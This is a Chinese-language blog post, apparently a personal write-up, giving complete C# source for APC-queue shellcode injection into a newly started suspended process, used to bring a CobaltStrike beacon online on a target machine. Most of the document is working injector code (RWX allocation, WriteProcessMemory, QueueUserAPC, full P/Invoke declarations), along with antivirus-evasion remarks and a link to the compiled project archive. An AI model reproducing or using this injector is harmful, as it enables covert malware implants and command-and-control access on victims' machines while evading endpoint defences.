ShellCode注入
将shellcode注入到系统正常进程当中,实现CobaltStrike上线,且达到部分平台的免杀效果。具体原理就不多说了,因为我也描述不出来,所以直接上代码吧。
打算将下述几种注入方式都单独实现一下,学习。
来源及实现
参考项目地址为:https://github.com/plackyhacker/Shellcode-Injection-Techniques
本人仅将该项目单独提取出来实现,并添加一小部分免杀行为,从而实现目标上线。
原文所有注入技术包含:
APCInject-异步过程调用注入
ClassicInject-经典注入
ThreadHijack-线程劫持
LocalThreadHijack-本地线程劫持
ProcessHollow-过程空心化
InterProcessMappedView-进程间映射视图
AtomBomb-原子轰炸
但是我尝试将该项目的APC注入代码单独提取出来运行时,无法上线,遂考虑其他方式。
APCInject
这种技术类似于线程劫持技术,将 shellcode 注入远程线程,然后在线程中排列一个APC对象。当线程进入警报状态时(当它调用SleepEx、SignalObjectAndWait、MsgWaitForMultipleObjectsEx、WaitForMultipleObjectsEx或时WaitForSingleObjectEx),它运行我们排列的APC对象指向的 shellcode。
实现过程
获取指定进程的线程
ProcessThread thread = GetThread(target.Threads);
- 获取线程的句柄
IntPtr hThread = OpenThread(ThreadAccess.GET_CONTEXT | ThreadAccess.SET_CONTEXT, false, (UInt32)thread.Id);
为shellcode分配内存
IntPtr pAddr = VirtualAllocEx(target.Handle, IntPtr.Zero, (UInt32)shellcode.Length, AllocationType.Commit | AllocationType.Reserve, MemoryProtection.PAGE_EXECUTE_READWRITE);
将shellcode写入分配的内存中
WriteProcessMemory(target.Handle, pAddr, shellcode, shellcode.Length, out IntPtr lpNumberOfBytesWritten);
添加异步过程调用
QueueUserAPC(pAddr, hThread, IntPtr.Zero);
使用该方式未正常上线。
问题
编译机器打开了Windows Defender,但是关闭了自动提交样本功能;最终生成的exe没有被杀,但是shellcode被杀了,所以后续还得考虑单独写个shellcode加密器。
然后临时关闭Windows Defender测试能否正常上线。
![
前提条件:需要tasklist进程列表中有该进程才能成功注入;即若想将shellcode注入到notepad中,则需要先打开一个notepad才行,不然的话无法上线。
注意问题:如果将shellcode注入到explorer进程中,在cobaltstrike中将目标exit的时候,目标机器的explorer进程也会退出,屏幕会闪一下。
最终代码
上面参考项目的APC注入代码调试的时候无法上线,具体问题我也不会排查,代码功底不够,若有大佬能够解决就更好了。
目录结构:
APCInject.cs 文件是主文件,包含了入口函数以及其他相关函数。
TestNoAPC.cs 文件是上面参考项目单独提取后所需的关联方法以及相关引用等。
TestOkAPC.cs 文件是测试能够成功上线方式所需要的关联方法以及相关应用等。
APCInject.cs
using System;
using System.IO;
//using static APCInject.TestNoAPC;
using static APCInject.TestOkAPC;
// 如果要调试无法成功上线的那个方式,将NoAPC取消注释,将OkAPC添加注释。
namespace APCInject
{
class APCInject
{
static string Base64Shellcode(string shellcodePath)
{
byte[] code = File.ReadAllBytes(shellcodePath);
string base64Code = Convert.ToBase64String(code);
return base64Code;
}
static void Main(string[] args)
{
if (args.Length == 2)
{
string target = args[0];
string shellcodePath = args[1];
APCInjectFunYes(target, shellcodePath);
//Process target = Process.GetProcessesByName(args[0])[0];
//APCInjectFunNo(target, args[1]);
}
else
{
Console.WriteLine("test.exe [notepad] [d:\\test\\beacon.bin]");
}
}
//* 这是参考项目中单独提取出来的部分,但是无法上线。
/*
static void APCInjectFunNo(Process target, string shellcodePath)
{
// 将base64编码后的shellcode传入,并从base64转为byte[]类型
byte[] shellcode = Convert.FromBase64String(Base64Shellcode(shellcodePath));
// 获取指定进程的线程
ProcessThread thread = GetThread(target.Threads);
Console.WriteLine(thread.Id);
// 获取线程的句柄
IntPtr hThread = OpenThread(ThreadAccess.GET_CONTEXT | ThreadAccess.SET_CONTEXT, false, (UInt32)thread.Id);
// 为shellcode分配内存
IntPtr pAddr = VirtualAllocEx(target.Handle, IntPtr.Zero, (UInt32)shellcode.Length, AllocationType.Commit | AllocationType.Reserve, MemoryProtection.PAGE_EXECUTE_READWRITE);
// 将shellcode写入分配的内存中
WriteProcessMemory(target.Handle, pAddr, shellcode, shellcode.Length, out IntPtr lpNumberOfBytesWritten);
// 添加异步过程调用
QueueUserAPC(pAddr, hThread, IntPtr.Zero);
//ResumeThread(hThread);
}
static ProcessThread GetThread(ProcessThreadCollection threads)
{
Console.WriteLine(threads[0]);
// find a thread
// it is very likely that the process you are hijacking will be unstable as 0 is probably the main thread
return threads[0];
// you could loop through the threads looking for a better one
//foreach(ProcessThread thread in threads)
//{
//}
}
*/
static void APCInjectFunYes(string target, string shellcodePath)
{
byte[] shellcode = Convert.FromBase64String(Base64Shellcode(shellcodePath));
uint lpNumberOfBytesWritten = 0;
// 获取进程信息
PROCESS_INFORMATION processInfo = StartProcess(target);
// 获取进程句柄?
IntPtr pHandle = OpenProcess((uint)ProcessAccessRights.All, false, (uint)processInfo.dwProcessId);
// 为shellcode分配内存
IntPtr pAddr = VirtualAllocEx(pHandle, IntPtr.Zero, (uint)shellcode.Length, (uint)MemAllocation.MEM_RESERVE | (uint)MemAllocation.MEM_COMMIT, (uint)MemProtect.PAGE_EXECUTE_READWRITE);
// 将shellcode写入分配的内存中
bool write = WriteProcessMemory(pHandle, pAddr, shellcode, (uint) shellcode.Length, ref lpNumberOfBytesWritten);
if (write)
{
// 获取线程句柄
IntPtr tHandle = OpenThread(ThreadAccess.THREAD_ALL, false, (uint)processInfo.dwThreadId);
// 添加异步过程调用
IntPtr ptr = QueueUserAPC(pAddr, tHandle, IntPtr.Zero);
ResumeThread(tHandle);
}
bool hOpenProcessClose = CloseHandle(pHandle);
}
}
}
```
TestOkAPC.cs
``` c#
using System;
using System.Runtime.InteropServices;
namespace APCInject
{
class TestOkAPC
{
[DllImport("Kernel32", SetLastError = true, CharSet = CharSet.Unicode)]
public static extern IntPtr OpenProcess(uint dwDesiredAccess, bool bInheritHandle, uint dwProcessId);
[DllImport("Kernel32", SetLastError = true, CharSet = CharSet.Unicode)]
public static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
[DllImport("Kernel32", SetLastError = true, CharSet = CharSet.Unicode)]
public static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, [MarshalAs(UnmanagedType.AsAny)] object lpBuffer, uint nSize, ref uint lpNumberOfBytesWritten);
[DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Unicode)]
public static extern IntPtr OpenThread(ThreadAccess dwDesiredAccess, bool bInheritHandle, uint dwThreadId);
[DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Unicode)]
public static extern IntPtr QueueUserAPC(IntPtr pfnAPC, IntPtr hThread, IntPtr dwData);
[DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Unicode)]
public static extern uint ResumeThread(IntPtr hThread);
[DllImport("Kernel32", SetLastError = true, CharSet = CharSet.Unicode)]
public static extern bool CloseHandle(IntPtr hObject);
[DllImport("Kernel32.dll", SetLastError = true, CharSet = CharSet.Auto, CallingConvention = CallingConvention.StdCall)]
public static extern bool CreateProcess(IntPtr lpApplicationName, string lpCommandLine, IntPtr lpProcAttribs, IntPtr lpThreadAttribs, bool bInheritHandles, uint dwCreateFlags, IntPtr lpEnvironment, IntPtr lpCurrentDir, [In] ref STARTUPINFO lpStartinfo, out PROCESS_INFORMATION lpProcInformation);
public enum ProcessAccessRights
{
All = 0x001F0FFF,
Terminate = 0x00000001,
CreateThread = 0x00000002,
VirtualMemoryOperation = 0x00000008,
VirtualMemoryRead = 0x00000010,
VirtualMemoryWrite = 0x00000020,
DuplicateHandle = 0x00000040,
CreateProcess = 0x000000080,
SetQuota = 0x00000100,
SetInformation = 0x00000200,
QueryInformation = 0x00000400,
QueryLimitedInformation = 0x00001000,
Synchronize = 0x00100000
}
public enum ThreadAccess : int
{
TERMINATE = (0x0001),
SUSPEND_RESUME = (0x0002),
GET_CONTEXT = (0x0008),
SET_CONTEXT = (0x0010),
SET_INFORMATION = (0x0020),
QUERY_INFORMATION = (0x0040),
SET_THREAD_TOKEN = (0x0080),
IMPERSONATE = (0x0100),
DIRECT_IMPERSONATION = (0x0200),
THREAD_HIJACK = SUSPEND_RESUME | GET_CONTEXT | SET_CONTEXT,
THREAD_ALL = TERMINATE | SUSPEND_RESUME | GET_CONTEXT | SET_CONTEXT | SET_INFORMATION | QUERY_INFORMATION | SET_THREAD_TOKEN | IMPERSONATE | DIRECT_IMPERSONATION
}
public enum MemAllocation
{
MEM_COMMIT = 0x00001000,
MEM_RESERVE = 0x00002000,
MEM_RESET = 0x00080000,
MEM_RESET_UNDO = 0x1000000,
SecCommit = 0x08000000
}
public enum MemProtect
{
PAGE_EXECUTE = 0x10,
PAGE_EXECUTE_READ = 0x20,
PAGE_EXECUTE_READWRITE = 0x40,
PAGE_EXECUTE_WRITECOPY = 0x80,
PAGE_NOACCESS = 0x01,
PAGE_READONLY = 0x02,
PAGE_READWRITE = 0x04,
PAGE_WRITECOPY = 0x08,
PAGE_TARGETS_INVALID = 0x40000000,
PAGE_TARGETS_NO_UPDATE = 0x40000000,
}
[StructLayout(LayoutKind.Sequential)]
public struct PROCESS_INFORMATION
{
public IntPtr hProcess;
public IntPtr hThread;
public int dwProcessId;
public int dwThreadId;
}
[StructLayout(LayoutKind.Sequential)]
internal struct PROCESS_BASIC_INFORMATION
{
public IntPtr Reserved1;
public IntPtr PebAddress;
public IntPtr Reserved2;
public IntPtr Reserved3;
public IntPtr UniquePid;
public IntPtr MoreReserved;
}
[StructLayout(LayoutKind.Sequential)]
public struct STARTUPINFO
{
uint cb;
IntPtr lpReserved;
IntPtr lpDesktop;
IntPtr lpTitle;
uint dwX;
uint dwY;
uint dwXSize;
uint dwYSize;
uint dwXCountChars;
uint dwYCountChars;
uint dwFillAttributes;
public uint dwFlags;
public ushort wShowWindow;
ushort cbReserved;
IntPtr lpReserved2;
IntPtr hStdInput;
IntPtr hStdOutput;
IntPtr hStdErr;
}
public static PROCESS_INFORMATION StartProcess(string binaryPath)
{
uint flags = 0x00000004;
STARTUPINFO startInfo = new STARTUPINFO();
PROCESS_INFORMATION procInfo = new PROCESS_INFORMATION();
CreateProcess((IntPtr)0, binaryPath, (IntPtr)0, (IntPtr)0, false, flags, (IntPtr)0, (IntPtr)0, ref startInfo, out procInfo);
return procInfo;
}
}
}
TestNoAPC.cs
using System;
using System.Runtime.InteropServices;
namespace APCInject
{
class TestNoAPC
{
[DllImport("kernel32.dll")]
public static extern IntPtr OpenThread(ThreadAccess dwDesiredAccess, bool bInheritHandle, UInt32 dwThreadId);
[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
public static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, AllocationType flAllocationType, MemoryProtection flProtect);
[DllImport("kernel32.dll")]
public static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, Int32 nSize, out IntPtr lpNumberOfBytesWritten);
[DllImport("kernel32.dll", SetLastError = true)]
public static extern Int32 QueueUserAPC(IntPtr pfnAPC, IntPtr hThread, IntPtr dwData);
[Flags]
public enum ThreadAccess : UInt32
{
TERMINATE = 0x0001,
SUSPEND_RESUME = 0x0002,
GET_CONTEXT = 0x0008,
SET_CONTEXT = 0x0010,
SET_INFORMATION = 0x0020,
QUERY_INFORMATION = 0x0040,
SET_THREAD_TOKEN = 0x0080,
IMPERSONATE = 0x0100,
DIRECT_IMPERSONATION = 0x0200,
THREAD_ALL_ACCESS = 0x1fffff
}
[Flags]
public enum AllocationType
{
NULL = 0x0,
Commit = 0x1000,
Reserve = 0x2000,
Decommit = 0x4000,
Release = 0x8000,
Reset = 0x80000,
Physical = 0x400000,
TopDown = 0x100000,
WriteWatch = 0x200000,
LargePages = 0x20000000
}
public enum MemoryProtection : UInt32
{
PAGE_EXECUTE = 0x00000010,
PAGE_EXECUTE_READ = 0x00000020,
PAGE_EXECUTE_READWRITE = 0x00000040,
PAGE_EXECUTE_WRITECOPY = 0x00000080,
PAGE_NOACCESS = 0x00000001,
PAGE_READONLY = 0x00000002,
PAGE_READWRITE = 0x00000004,
PAGE_WRITECOPY = 0x00000008,
PAGE_GUARD = 0x00000100,
PAGE_NOCACHE = 0x00000200,
PAGE_WRITECOMBINE = 0x00000400
}
}
}
完整项目文件:
https://blog.axzzsec.com/upload/dev/APCInject.rar
使用visual studio 2022编译。
免杀性
APC注入的免杀效果:
总的来说,免杀性不是很理想。